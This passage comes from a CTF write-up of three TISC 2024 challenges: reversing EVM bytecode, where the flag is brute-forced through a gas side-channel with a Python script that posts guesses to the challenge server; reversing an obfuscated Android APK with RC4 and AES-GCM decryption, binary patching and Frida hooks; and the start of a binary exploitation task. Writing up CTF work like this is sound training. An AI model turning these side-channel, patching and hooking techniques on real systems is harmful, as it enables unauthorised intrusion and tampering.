. This section of the code seems to check whether the input correctly matches the flag format. This suggests that the flag is 17 characters long, with the first four and last one being part of the flag format. This also implies that the input to this function is in plaintext. This is useful information since it tells us that the input to this function has likely not been first manipulated by another contract (which would require us to reverse that contract as well).
1
2
3
4
5
6
7
8
9
0020 01 ADD
0021 60 PUSH1 0x02
0023 14 EQ
0024 61 PUSH2 0x0022
0027 57 *JUMPI
0028 5F PUSH0
0029 5F PUSH0
002A FD *REVERT
002B 5B JUMPDEST
This final section adds the results of the two previous EQ
checks. If they were both equal, the result would be 0x02
, which triggers a jump. Note that the function starts at offset 0x09 in the disassembler because of the initial constructor code, so we should add 0x09 to all jump targets to find their address in the disassembly. In this case, the jump to 0x0022
actually corresponds to the JUMPDEST
at 0x002B
. If the check fails, the function reverts, terminating execution.
So far, this contract looks like it contains the flag checking logic. Let’s continue our analysis.
1
2
002C 60 PUSH1 0x04
002E 35 CALLDATALOAD
If that the input’s prefix and suffix are correct, the contract then loads the calldata onto the stack, starting from index 4. This would be 13 characters long, corresponding with {**********}
.
The next section of the code uses some memory values, performs a DELEGATECALL
and adds the result of the call to the top of the stack. Since the server is using a private testnet (hosted locally using Anvil), there is little point in fully unpacking what is going on here as we cannot analyze the target contract regardless.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
002F 60 PUSH1 0x98
0031 63 PUSH4 0x6b35340a
0036 60 PUSH1 0x60
0038 52 MSTORE
0039 60 PUSH1 0x20
003B 60 PUSH1 0x60
003D 20 SHA3
003E 90 SWAP1
003F 1B SHL
0040 18 XOR
0041 60 PUSH1 0x24
0043 35 CALLDATALOAD
0044 63 PUSH4 0x66fbf07e
0049 60 PUSH1 0x20
004B 52 MSTORE
004C 60 PUSH1 0x20
004E 5F 5F
004F 60 PUSH1 0x04
0051 60 PUSH1 0x3c
0053 84 DUP5
0054 5A GAS
0055 F4 DELEGATECALL
0056 50 POP
0057 5F 5F
0058 51 MLOAD
Looking at it now, it looks like it is constructing the target contract’s address using
SHA3
(or Keccak256) and bit operations.
The next three instructions are a loop prologue.
1
2
3
0059 5F 5F
005A 5F 5F
005B 5B JUMPDEST
1
2
3
4
5
6
7
8
9
005C 82 DUP3
005D 82 DUP3
005E 1A BYTE
005F 85 DUP6
0060 83 DUP4
0061 1A BYTE
0062 14 EQ
0063 61 PUSH2 0x0070
0066 57 *JUMPI
Entering the loop body, we see that two bytes are being compared. The BYTE
opcode is used to retrieve a byte from memory at a specific offset. If the two bytes are identical, we jump to 0x0079
. If the bytes aren’t identical, we continue with the following code:
1
2
3
4
5
6
7
8
9
10
11
12
0067 5B JUMPDEST
0068 90 SWAP1
0069 60 PUSH1 0x01
006B 01 ADD
006C 80 DUP1
006D 60 PUSH1 0x0d
006F 14 EQ
0070 61 PUSH2 0x0078
0073 57 *JUMPI
0074 90 SWAP1
0075 61 PUSH2 0x0052
0078 56 *JUMP
This increments a counter by one, then checks if it equals 0x0d
(or 13). If it is equal, we jump to 0x0081
, otherwise we resume the loop by jumping backwards. This looks like the condition check for a for loop, which presumably iterates over all 13 characters from earlier.
Next, we get to the jump destination for the case where the bytes compared earlier were equal.
1
2
3
4
5
0079 5B JUMPDEST
007A 60 PUSH1 0x01
007C 01 ADD
007D 61 PUSH2 0x005e
0080 56 *JUMP
This increments a separate counter and then unconditionally jumps back into the loop.
At this point, I was reminded of the classic reversing challenges that were solvable via instruction counting. Such challenges usually transform the user’s input, then compare it against a desired value byte by byte, terminating upon the first difference. This is vulnerable to a side-channel attack – we can figure out if the first byte is correct if the program makes two iterations of the byte-checking loop instead of just one. In this manner, we can brute-force the input byte by byte until we recover the flag.
In this case, we have a similar side-channel available. Instead of directly counting instructions using something like Intel’s Pin, the gas consumed by a contract provides information about the number of instructions run. Each instruction in the EVM consumes a specific amount of gas. Given that there is a branch when the byte-equality check passes, the number and type of instructions executed necessarily differs on equality. Importantly, we can leak the gas consumed by the contract using the SSTI from earlier. This gives us our attack plan: brute-force the flag while leaking the gas consumed using the SSTI, use a payload like TISC{Axxxxxxxxxx}
. However, this payload exceeds the input length limit of 32. Then, I realized that the first four bytes of calldata are usually reserved for the function selector, so it would not be surprising if they were set by the caller function. Removing the TISC
characters bring our payload down to 30 characters, just under the limit.
Finally, we just need to write a script to perform the brute-forcing. Here is my Python solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import html
import string
url = "http://chals.tisc24.ctf.sg:52416/"
def get_leak(inp):
delim1 = "<p>Result for "
inp = inp[inp.find(delim1)+len(delim1):]
delim2 = "</p>"
inp = inp[:inp.find(delim2)-1]
return html.unescape(inp)
def get_gas(inp):
delim1 = "'gas': "
inp = inp[inp.find(delim1)+len(delim1):]
delim2 = "}"
inp = inp[:inp.find(delim2)]
return inp
dictionary = string.ascii_letters + string.digits + string.punctuation
blacklist = r"#%{}"
dictionary = list(filter(lambda x: x not in blacklist, dictionary))
payload = r"{XXXXXXXXXXX} "
for pos in range(1, 13-1):
gas = None
for i, letter in enumerate(dictionary):
guess = payload[:pos] + letter + payload[pos + 1:]
r = requests.post(f"{url}submit", data={
"password": guess
})
leak = get_leak(r.text)
if gas is None:
gas = get_gas(leak)
continue
if get_gas(leak) < gas:
payload = payload[:pos] + dictionary[0] + payload[pos + 1:]
break
elif get_gas(leak) > gas:
payload = guess
break
else:
assert False # brute-force fail
print(payload)
Adding the TISC
header to the recovered keyphrase gives us the flag: TISC{g@s_Ga5_94S}
During the CTF, I quickly spotted the for loop and pieced together the gas side-channel attack, so my rev was actually a lot less methodical then presented here. For completeness, analyzing the setup contract’s bytecode reveals that it is likely a proxy contract, using the admin panel contract as its implementation and the secret contract to control updates to the implementation.
1
It seems to be an app that stores user data, but doesn’t seem to do much other than that... The other agent who recovered this said he heard them say something about parts of the app are only loaded during runtime, hiding crucial details.
We are provided with a wallfacer-x86_64.apk
.
Launching the APK with Android Studio, we are presented with the following screen:
For reference, this is using the Pixel 8 Android Virtual Device on API level 34.
We can enter text into the input box and submit it, but nothing happens. Let’s open up the APK in Jadx. Here is the MainActivity
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.wall.facer;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
/* loaded from: classes.dex */
public class MainActivity extends C0 {
public EditText y;
@Override // defpackage.C0, defpackage.O3, android.app.Activity
public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
this.y = (EditText) findViewById(R.id.edit_text);
}
public void onSubmitClicked(View view) {
Storage.getInstance().saveMessage(this.y.getText().toString());
}
}
As per the challenge description, there doesn’t seem to be much functionality in the app. Since the description mentions runtime loading – which is likely used as an obfuscation technique – let’s look for that. Two typical ways of performing runtime loading are loading resources obtained from a remote server and loading resources packaged within the app. For the former method, the remote server URL can likely be found in the app’s string resources file. Looking through res/values/strings.xml
, we don’t find any URLs but we find the following interesting strings:
1
2
3
4
base: d2FsbG93aW5wYWlu (b64 wallowinpain)
dir: ZGF0YS8 (b64 data/)
filename: c3FsaXRlLmRi (b64 sqlite.db)
str: 4tYKEbM6WqQcItBx0GMJvssyGHpVTJMhpjxHVLEZLVK6cmIH7jAmI/nwEJ1gUDo2 (unknown)
There are a few suggestively named base64 encoded strings, as well as a string that is of an unknown format.
Next, looking through the app’s assets, some suspicious ones stand out.
There are 9 files sharing a common naming convention under assets/data
of an unknown data format. The sqlite.db
file does have a SQLite format 3
file header, but attempts to parse the database reveals that it is not a real database file. Especially interesting is the fact that there are references to these files from the base64 encoded strings earlier (data/
and sqlite.db
), suggesting that this is part of an obfuscation technique.
In order to figure out where these resources are used, we can look for usages of getAssets()
, which is commonly used to access resources in the /assets
folder. One of the references lies in this function (variables renamed by me):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static ByteBuffer K(Context context, String str) {
int idx;
InputStream open = context.getAssets().open(str);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bArr = new byte[1024];
while (true) {
int read = open.read(bArr);
if (read == -1) {
break;
}
byteArrayOutputStream.write(bArr, 0, read);
}
open.close();
byte[] file_contents = byteArrayOutputStream.toByteArray();
byte[] key = new byte[128];
byte[] length_arr = new byte[4];
System.arraycopy(file_contents, 4096, length_arr, 0, 4);
int length = ByteBuffer.wrap(length_arr).getInt();
byte[] buffer = new byte[length];
System.arraycopy(file_contents, 4100, buffer, 0, length);
System.arraycopy(file_contents, 4100 + length, key, 0, 128);
C0289q1 c0289q1 = new C0289q1(key);
byte[] output = new byte[length];
int i2 = 0;
int i3 = 0;
for (idx = 0; idx < length; idx++) {
i2 = (i2 + 1) & 255;
byte[] bArr2 = (byte[]) c0289q1.c;
byte b2 = bArr2[i2];
i3 = (i3 + (b2 & 255)) & 255;
bArr2[i2] = bArr2[i3];
bArr2[i3] = b2;
output[idx] = (byte) (bArr2[(bArr2[i2] + b2) & 255] ^ buffer[idx]);
}
return ByteBuffer.wrap(output);
}
This function takes a filename as a parameter and reads its contents into a buffer. It skips the first 4096 bytes, then uses the next 4 bytes to determine the length
of the payload. The next length
bytes are then read into buffer
for further processing. The final 128 bytes are used as a key
. The for loop resembles an RC4 decryption process. We can guess that this function is called on sqlite.db
, which would explain why the first section of the file contains the invalid database data. We can use a Python script to perform the same decryption process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
from Crypto.Cipher import ARC4
def construct():
input_filename = "sqlite.db"
output_filename = "constructed"
with open(input_filename, "rb") as f:
chars = f.read()
sz = struct.unpack(">i", chars[4096:4100])[0]
buf = chars[4100:4100+sz]
iv = chars[4100+sz:4100+sz+128]
cipher = ARC4.new(iv)
plaintext = cipher.decrypt(buf)
with open(output_filename, "wb") as g:
g.write(plaintext)
This outputs a dex file, which we can further analyze in Jadx.
1
2
$ file constructed
constructed: Dalvik dex file version 035
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package defpackage;
import android.content.Context;
[...] // other imports
public class DynamicClass {
static final /* synthetic */ boolean $assertionsDisabled = false;
private static final String TAG = "TISC";
public static native void nativeMethod();
public static void dynamicMethod(Context context) throws Exception {
pollForTombMessage();
Log.i(TAG, "Tomb message received!");
File generateNativeLibrary = generateNativeLibrary(context);
try {
System.load(generateNativeLibrary.getAbsolutePath());
} catch (Throwable th) {
String message = th.getMessage();
message.getClass();
Log.e(TAG, message);
System.exit(-1);
}
Log.i(TAG, "Native library loaded!");
if (generateNativeLibrary.exists()) {
generateNativeLibrary.delete();
}
pollForAdvanceMessage();
Log.i(TAG, "Advance message received!");
nativeMethod();
}
private static void pollForTombMessage() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> cls;
do {
SystemClock.sleep(1000L);
cls = Class.forName("com.wall.facer.Storage");
} while (!DynamicClass$$ExternalSyntheticBackport1.m((String) cls.getMethod("getMessage", new Class[0]).invoke(cls.getMethod("getInstance", new Class[0]).invoke(null, new Object[0]), new Object[0]), "I am a tomb"));
}
private static void pollForAdvanceMessage() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> cls;
do {
SystemClock.sleep(1000L);
cls = Class.forName("com.wall.facer.Storage");
} while (!DynamicClass$$ExternalSyntheticBackport1.m((String) cls.getMethod("getMessage", new Class[0]).invoke(cls.getMethod("getInstance", new Class[0]).invoke(null, new Object[0]), new Object[0]), "Only Advance"));
}
[...]
This reveals a DynamicClass
, which exposes a dynamicMethod
. The method first waits for the user to enter the message "I am a tomb"
using pollForTombMessage()
. Next, it loads a native library using generateNativeLibrary()
(analyzed below) and awaits the message "Only Advance"
, which triggers execution of nativeMethod
. Native libraries are libraries written in C or C++ and are often used to obfuscate code execution in Android malware. nativeMethod
is likely a function defined by the native library. Let’s look at how the native library is generated:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[...]
public static File generateNativeLibrary(Context context) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
AssetManager assets = context.getAssets();
Resources resources = context.getResources();
String dir_name = new String(Base64.decode(resources.getString(resources.getIdentifier("dir", "string", context.getPackageName())) + "=", 0));
String[] filenames = assets.list(dir_name);
Arrays.sort(filenames, new Comparator() { // from class: DynamicClass$$ExternalSyntheticLambda3
@Override // java.util.Comparator
public final int compare(Object obj, Object obj2) {
return DynamicClass.lambda$generateNativeLibrary$0((String) obj, (String) obj2);
}
});
String base_fn = new String(Base64.decode(resources.getString(resources.getIdentifier("base", "string", context.getPackageName())), 0));
File file = new File(context.getFilesDir(), "libnative.so");
Method decrypt = Class.forName("Oa").getMethod("a", byte[].class, String.class, byte[].class);
FileOutputStream fileOutputStream = new FileOutputStream(file);
try {
for (String filename : filenames) {
InputStream open = assets.open(dir_name + filename);
byte[] file_contents = open.readAllBytes();
open.close();
fileOutputStream.write((byte[]) decrypt.invoke(null, file_contents, base_fn, Base64.decode(filename.split("\\$")[1] + "==", 8)));
}
fileOutputStream.close();
return file;
} catch (Throwable th) {
try {
fileOutputStream.close();
} catch (Throwable th2) {
Throwable.class.getDeclaredMethod("addSuppressed", Throwable.class).invoke(th, th2);
}
throw th;
}
}
/* JADX INFO: Access modifiers changed from: package-private */
public static /* synthetic */ int lambda$generateNativeLibrary$0(String str, String str2) {
return DynamicClass$$ExternalSyntheticBackport0.m(Integer.parseInt(str.split("\\$")[0]), Integer.parseInt(str2.split("\\$")[0]));
}
}
The function iterates over a sorted list of the files in the directory from the "dir"
string, which we have found to be data/
from earlier. The files in this directory follow the naming convention of <number>$<random string>
. The random string is used as a key for the decryption method decrypt
to operate on the file’s contents. The decryption result being appended to the output file libnative.so
. The decrypt
method actually belongs to a class Oa
that is defined in the original APK.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Oa {
public static byte[] a(byte[] bArr, String str, byte[] bArr2) {
byte[] b = b(str, bArr2);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
byte[] bArr3 = new byte[12];
int length = bArr.length - 12;
byte[] bArr4 = new byte[length];
System.arraycopy(bArr, 0, bArr3, 0, 12);
System.arraycopy(bArr, 12, bArr4, 0, length);
cipher.init(2, new SecretKeySpec(b, "AES"), new GCMParameterSpec(128, bArr3));
return cipher.doFinal(bArr4);
}
private static byte[] b(String str, byte[] bArr) {
return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(str.toCharArray(), bArr, 16384, 256)).getEncoded();
}
}
The decryption uses the AES-GCM algorithm. We can re-implement the entire decryption process in Python to reconstruct libnative.so
.
One thing to note is that the decompiled code sees usage of the method
Base64.decode()
with the flag8
. This flag indicates that URL-safe decoding should be used instead.
Alternatively, we can obtain libnative.so
from running the APK in Android Studio and extracting it from the AVD’s files. IDA provides a nice decompilation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall Java_DynamicClass_nativeMethod(__int64 a1)
{
unsigned int v1; // eax
unsigned int v2; // eax
int v4; // [rsp+Ch] [rbp-14h]
__android_log_print(
3LL,
(__int64)"TISC",
"There are walls ahead that you'll need to face. They have been specially designed to always result in an error. One "
"false move and you won't be able to get the desired result. Are you able to patch your way out of this mess?");
v1 = first();
v2 = second(v1);
v4 = third(a1, v2);
return decrypt(a1, v4);
}
The method calls three functions which serve as checks. The result from each check is fed into the next check so it is likely that we need to execute all checks and pass them. If we pass all the checks successfully, the function decrypt
does the following:
1
2
__android_log_print(3LL, "TISC", "The key is: %s", *v62);
__android_log_print(3LL, "TISC", "The IV is: %s", *v148);
The function
decrypt
is very long, containing many string and bitwise operations. I did not reverse the function but it empirically outputs different keys and IVs depending on its parameters. Presumably, we need to pass all three checks in order to receive the correct key and IV.
Let’s take a look at the three checks, starting from first()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 sub_3230()
{
signed __int64 v0; // rax
unsigned int v1; // eax
unsigned int v2; // eax
unsigned int v4; // eax
unsigned int v5; // eax
unsigned int v6; // [rsp+40h] [rbp-10h]
v0 = sys_openat(-100, filename, 0, 0);
switch ( (unsigned __int64)jpt_330B )
{
case 0uLL:
v4 = sub_3370(1LL, 8LL);
v5 = sub_3370(v4, 5LL);
v6 = sub_3370(v5, 8LL);
__android_log_print(4LL, "TISC", "One wall down!");
break;
case 1uLL:
v1 = sub_3370(1LL, 4LL);
v2 = sub_3370(v1, 6LL);
v6 = sub_3370(v2, 5LL);
__android_log_print(6LL, "TISC", "I need a very specific file to be available. Or do I?");
break;
}
return v6;
}
The function tries to open a file with the name "/sys/wall/facer"
(stored in filename
). If the file exists, the check is passed and the message "One wall down!"
is logged. This logic is clearer in the disassembly:
1
2
3
4
5
6
7
.text:000000000000326F lea rsi, filename ; "/sys/wall/facer"
.text:0000000000003276 mov eax, 101h
.text:000000000000327B syscall ; LINUX - sys_openat
.text:000000000000327D mov dword ptr [rbp+var_20], eax
.text:0000000000003280 mov eax, dword ptr [rbp+var_20]
.text:0000000000003283 shr eax, 1Fh
[...]
The topmost bit of the syscall return value is used as the switch’s parameter. When the file does not exist, the syscall returns negative one, which has the topmost bit set, thus failing the check.
Since the rest of the function (and program) does not interact with the file in any way, we can simply patch out the check. This is also hinted at by the log message "I need a very specific file to be available. Or do I?"
. I patched the instruction with XOR EAX, EAX
, which sets the syscall return value register EAX
to zero, which should pass the check.
Next, we need a way of running the patched binary. The simplest way is to use Android Studio to emulate the original APK and force it to load the patched binary instead of the original libnative.so
. I used Frida to achieve this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function x() {
console.log("Executing...");
let i = 0;
Java.use("Oa").a.implementation = function (x, y, z) {
console.log(`Decrypt called: x${i}`);
let byteArray = [];
if (i == 0) {
byteArray = replaced_so;
}
i += 1;
const javaByteArray = Java.array("byte", byteArray);
return javaByteArray;
};
[...]
There are many existing guides to using Frida with Android Studio, so I will not be explaining how to do so. This article is a good reference.
This hooks onto the decrypt
function used in generateNativeLibrary
, replacing the output of the decryption. We can supply our own data instead, storing the patched binary as a bytearray in the variable replaced_so
. Since Frida scripts cannot access the host’s filesystem where my patched binary is located, I wrote a helper Python script to populate the replaced_so
value at runtime.
1
2
3
4
5
6
7
8
with open("solve.js", "r") as f:
with open("../patch/out.so", "rb") as g:
so = list(g.read())
orig = f.read()
final = f"global.replaced_so = {so}\n" + orig
with open("solve_new.js", "w+") as h:
h.write(final)
We launch the APK as usual in Android Studio. Then, we run the Frida command frida -U -l .\solve_new.js Wallfacer
to attach the script to the target process. Now, when we submit the input “I am a tomb”, the script’s hook is activated as the patched library is loaded instead. This challenge has helpful logs that we can view in Logcat to track our progress.
We have successfully passed the first challenge! Let’s move on to the second check.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
long second(long param0) {
char ptr1;
uint32_t v1 = (uint32_t)param0;
*(long*)&ptr1 = -8003880287655606187L;
int v2 = 0x48000000;
long v3 = 12L;
char* ptr0 = (char*)&sub_13430;
int i;
for(i = 0; i < 12L && (uint32_t)*(char*)(i + (long)&ptr1) == (uint32_t)*(char*)(i + &sub_13430); ++i) {
}
if(i != 12) {
__builtin_memcpy(&sub_13430, &ptr1, 12);
void* ptr1 = (void*)&gFFFE8;
}
long v4 = second_callee(1, (uint32_t)param0);
return (long)(uint32_t)v4;
}
The for loop and memcpy
are a bit confusing, but they essentially check the function prologue to ensure that the first 12 bytes of the function correspond to a specific 12 bytes. If the bytes do not match, the memcpy
occurs to replace the function prologue with the specific 12 bytes. At first, I thought this was to dynamically alter the function’s behaviour. However, I realized that the 12 bytes matched from the start, meaning that is likely used to prevent mitigate patches to the function prologue instead.
I’m not sure what this purpose this check serves since you would not normally patch the function prologue anyways.
At the end, second()
calls another function second_callee()
with the arguments 1 and its own first function parameter. The decompilation isn’t very helpful, but the disassembly reveals that this function checks whether its first parameter is 1337
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000003430 push rbp
.text:0000000000003431 mov rbp, rsp
.text:0000000000003434 sub rsp, 90h
.text:000000000000343B lea rax, jpt_34C0
.text:0000000000003442 mov [rbp+var_8], rax
.text:0000000000003446 mov [rbp+var_10], edi
.text:0000000000003449 mov [rbp+var_14], esi
.text:000000000000344C mov eax, [rbp+var_10]
.text:000000000000344F sub eax, 539h
.text:0000000000003454 setz al
.text:0000000000003457 movzx eax, al
.text:000000000000345A mov [rbp+var_C], eax
.text:000000000000345D mov rax, [rbp+var_8]
.text:0000000000003461 movsxd rcx, [rbp+var_C]
.text:0000000000003465 mov rax, (jpt_34C0 - 5C10h)[rax+rcx*8] ; switch 2 cases
The first parameter (in edi
) is moved onto the stack and into eax
. 539h
, or 1337
is subtracted from it and the result is used in a switch/case’s jump table.
Patching second()
to call second_callee()
with an argument of 1337
instead of 1
passes the second check.
Finally, let’s tackle the third check.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
long third(long* ctx, long param1, long param2, long param3, long param4) {
char ptr4;
char __s;
uint32_t result = (uint32_t)param1;
long v1 = &loc_11FB7;
sprintf(&__s, "%d");
long v2 = *(long*)(ctx[0] + 1336L);
v1 = &loc_11FCF;
long v3 = v2((long)ctx, (long)&__s);
long v4 = *(long*)(ctx[0] + 48L);
v1 = &loc_11FEB;
long v5 = v4((long)ctx, "java/security/MessageDigest");
long v6 = *(long*)(ctx[0] + 0x388L);
v1 = &loc_12015;
long v7 = v6((long)ctx, v5, "getInstance", "(Ljava/lang/String;)Ljava/security/MessageDigest;");
long v8 = *(long*)(ctx[0] + 264L);
v1 = &loc_1203F;
long v9 = v8((long)ctx, v5, "update", "([B)V");
long v10 = *(long*)(ctx[0] + 264L);
v1 = &loc_12069;
long v11 = v10((long)ctx, v5, "digest", "()[B");
long v12 = *(long*)(ctx[0] + 1336L);
v1 = &loc_12088;
long v13 = v12((long)ctx, "SHA-1");
long v14 = *(long*)(ctx[0] + 912L);
v1 = &loc_120AF;
long v15 = v14((long)ctx, v5, v7, v13);
long v16 = *(long*)(ctx[0] + 264L);
long* ptr0 = ctx;
long v17 = *(long*)(ctx[0] + 248L)((long)ctx, v3);
v1 = &loc_1210C;
long v18 = v16((long)ptr0, v17, "getBytes", "()[B", param4);
long v19 = *(long*)(ctx[0] + 0x110L);
v1 = &loc_1212E;
long v20 = v19((long)ctx, v3, v18);
long v21 = *(long*)(ctx[0] + 488L);
v1 = &loc_12155;
v21((long)ctx, v15, v9, v20);
long v22 = *(long*)(ctx[0] + 0x110L);
v1 = &loc_12173;
long v23 = v22((long)ctx, v15, v11);
long v24 = *(long*)(ctx[0] + 0x558L);
v1 = &loc_1218F;
long v25 = v24((long)ctx, v23);
int v26 = (uint32_t)v25;
long v27 = *(long*)(ctx[0] + 1472L);
v1 = &loc_121AE;
char* buf_ = (char*)v27((long)ctx, v23, 0L, 0L, param4);
[...]
The initial part of this function makes calls using ctx
as some sort of function pointer table. This makes it difficult to discern what is going on statically. From the strings, it looks like some sort of SHA-1
encryption. I did not attempt to reverse this further.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
long v28 = v26;
char* buf = buf_;
uint32_t val = 0;
int idx = 0;
do {
val += *(idx + buf);
++idx;
}
while(idx < 20);
*(long*)&ptr4 = -5698037278441912235L;
int v31 = 0x48000000;
long v32 = 12L;
char* ptr3 = (char*)⌖
int i;
for(i = 0; i < 12L && (uint32_t)*(char*)(i + (long)&ptr4) == (uint32_t)*(char*)(i + &target); ++i) {
}
if(i != 12) {
__builtin_memcpy(&target, &ptr4, 12);
i = 12;
v32 = 12L;
ptr3 = ⌖
void* ptr4 = (void*)&gFFF5C;
}
v1 = &loc_12328;
long v33 = target(val, result);
result = v33;
[...]
The next section is more manageable. We sum up the value of the characters in buf
, which is the result of the previous function calls. Then, it performs the same function prologue check discussed earlier. After that, it calls target()
with the character sum it calculated. In target
, a jump is taken depending on whether its first parameter is 1337
.
1
2
3
4
5
6
7
8
9
10
long target(long param0, long param1) {
long v0 = &gvar_15C30;
int v1 = (uint32_t)param0;
int v2 = (uint32_t)param1;
long v3 = &loc_135E6;
__android_log_print(3L, "TISC", "Bet you can\'t fix the correct constant :)");
int v4 = (uint32_t)param0 == 1337;
jump (uint32_t)param0 != 1337 ? *(long*)&gvar_15C30: *(long*)&g15C38;
}
Finally, third
performs some more function calls using ctx
before returning.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[...]
result = v33;
long v34 = *(long*)(ctx[0] + 0x600L);
v1 = &loc_12349;
v34((long)ctx, v23, (long)buf_, 0L);
long v35 = *(long*)(ctx[0] + 184L);
v1 = &loc_12361;
v35((long)ctx, v3);
long v36 = *(long*)(ctx[0] + 184L);
v1 = &loc_12379;
v36((long)ctx, v13);
long v37 = *(long*)(ctx[0] + 184L);
v1 = &loc_12391;
v37((long)ctx, v20);
long v38 = *(long*)(ctx[0] + 184L);
v1 = &loc_123A9;
v38((long)ctx, v23);
long v39 = *(long*)(ctx[0] + 184L);
v1 = &loc_123C1;
v39((long)ctx, v15);
*(long*)(ctx[0] + 184L)((long)ctx, v5);
return result;
}
My initial naive attempts at patching all failed. At first, I tried to directly patch the argument used in the function call to target
(like I did to pass the second
check), but the error message "Not like this..."
still appeared, signifying that I had not actually passed the check. Next, taking inspiration from the log message hint about fixing the correct constant, I tried to modify the bounds of the character summing loop so that the resultant sum would organically equal 1337
. However, no bound gave the desired sum.
At this stage, I was trying to better understand the switch/case jump table that target()
used. Through dynamic analysis, I found that the function was jumping out to 36d6
on failure. Looking through some of the other function pointers in the jump table, I found the following function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void UndefinedFunction_001036e4(void)
{
undefined4 uVar1;
long unaff_RBP;
*(undefined4 *)(unaff_RBP + -0xa0) = 5;
uVar1 = FUN_00103370(*(undefined4 *)(unaff_RBP + -0x14));
*(undefined4 *)(unaff_RBP + -0x14) = uVar1;
uVar1 = FUN_00103370(*(undefined4 *)(unaff_RBP + -0x14),6);
*(undefined4 *)(unaff_RBP + -0x14) = uVar1;
uVar1 = FUN_00103370(*(undefined4 *)(unaff_RBP + -0x14),*(undefined4 *)(unaff_RBP + -0xa0));
*(undefined4 *)(unaff_RBP + -0x14) = uVar1;
__android_log_print(4,&DAT_00100a2f,"I guess it\'s time to reveal the correct key and IV!");
/* WARNING: Could not recover jumptable at 0x00103741. Too many branches */
/* WARNING: Treating indirect jump as call */
(**(code **)(*(long *)(unaff_RBP + -0x70) + (long)*(int *)(unaff_RBP + -0x74) * 8))();
return;
}
This looked like the win function. So, I decided to hook the native library and directly jump to this function instead of the failure function to see what that would achieve. I added the following to my Frida script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let it = setInterval(() => {
const moduleName = "libnative.so";
const moduleBaseAddress = Module.findBaseAddress(moduleName);
if (moduleBaseAddress == null) {
return;
}
console.log("Timeout cleared. Library has been loaded");
clearInterval(it);
Interceptor.attach(moduleBaseAddress.add(0x3664), {
onEnter: function (args) {
let arg = this.context.rax - moduleBaseAddress;
console.log(`Original param: ${arg}`);
// we originally jump to 36d6. win is at 36e4.
this.context.rax = moduleBaseAddress.add(0x36e4);
},
});
}, 500);
Since the native library was not loaded from the start, I decided to poll every half a second until it loaded. Then, I could attach to the instruction that performed the switch/case jump in target
, and replace the jump destination (contained in rax
) to the win function.
Miraculously, this worked! This gives us the logs:
1
2
The key is: eU9I93-L9S9Z!:6;:i<9=*=8^JJ748%%
The IV is: R"VY!5Jn7X16`Ik]
Referring back to the interesting strings mentioned earlier, we find that only str: 4tYKEbM6WqQcItBx0GMJvssyGHpVTJMhpjxHVLEZLVK6cmIH7jAmI/nwEJ1gUDo2
has not been used in the challenge. With a key, IV, and (likely base64 encoded) ciphertext, this encryption scheme looks like AES-CBC; the original APK also has a few references to AES-CBC, supporting this hypothesis. We can decrypt this in Cyberchef, giving us the flag: TISC{1_4m_y0ur_w4llbr34k3r_!i#Leb}
I was surprised that simply patching the jump destination passed the third check, since the log message of patching the right constant alluded to requiring a careful patch. My write-up also makes some of these patches sound a bit guessy, which is a by-product of not having reversed the binary very deeply during the CTF. I am curious to see what others who reversed the binary more comprehensively have found. All in all, this a pretty big difficulty jump from the two prior “Rev” track challenge.
This is the 9th level of TISC and is the first binary exploitation challenge in the series. We are provided a imphash.zip
and a remote IP.
1
2
3
$ unzip imphash.zip
$ ls
Dockerfile client.py docker-compose.yml flag.txt libcoreimp.so service.py service.xinetd
The Dockerfile
prepares the environment by installing some dependencies: radare2
and libcjson-dev
. It also moves libcoreimp.so
into the radare2
plugins folder. service.xinetd
specifies the configuration for running the challenge service in service.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import subprocess
import base64
import secrets
fdata = input("Input PE file (base64 encoded): ")
try:
fdata = base64.b64decode(fdata.encode())
except:
print("Invalid base64!", flush=True)
exit(1)
dirname = "/app/uploads/"+secrets.token_hex(16)
os.mkdir(dirname)
os.chdir(dirname)
with open("./file.exe", "wb") as f:
f.write(fdata)
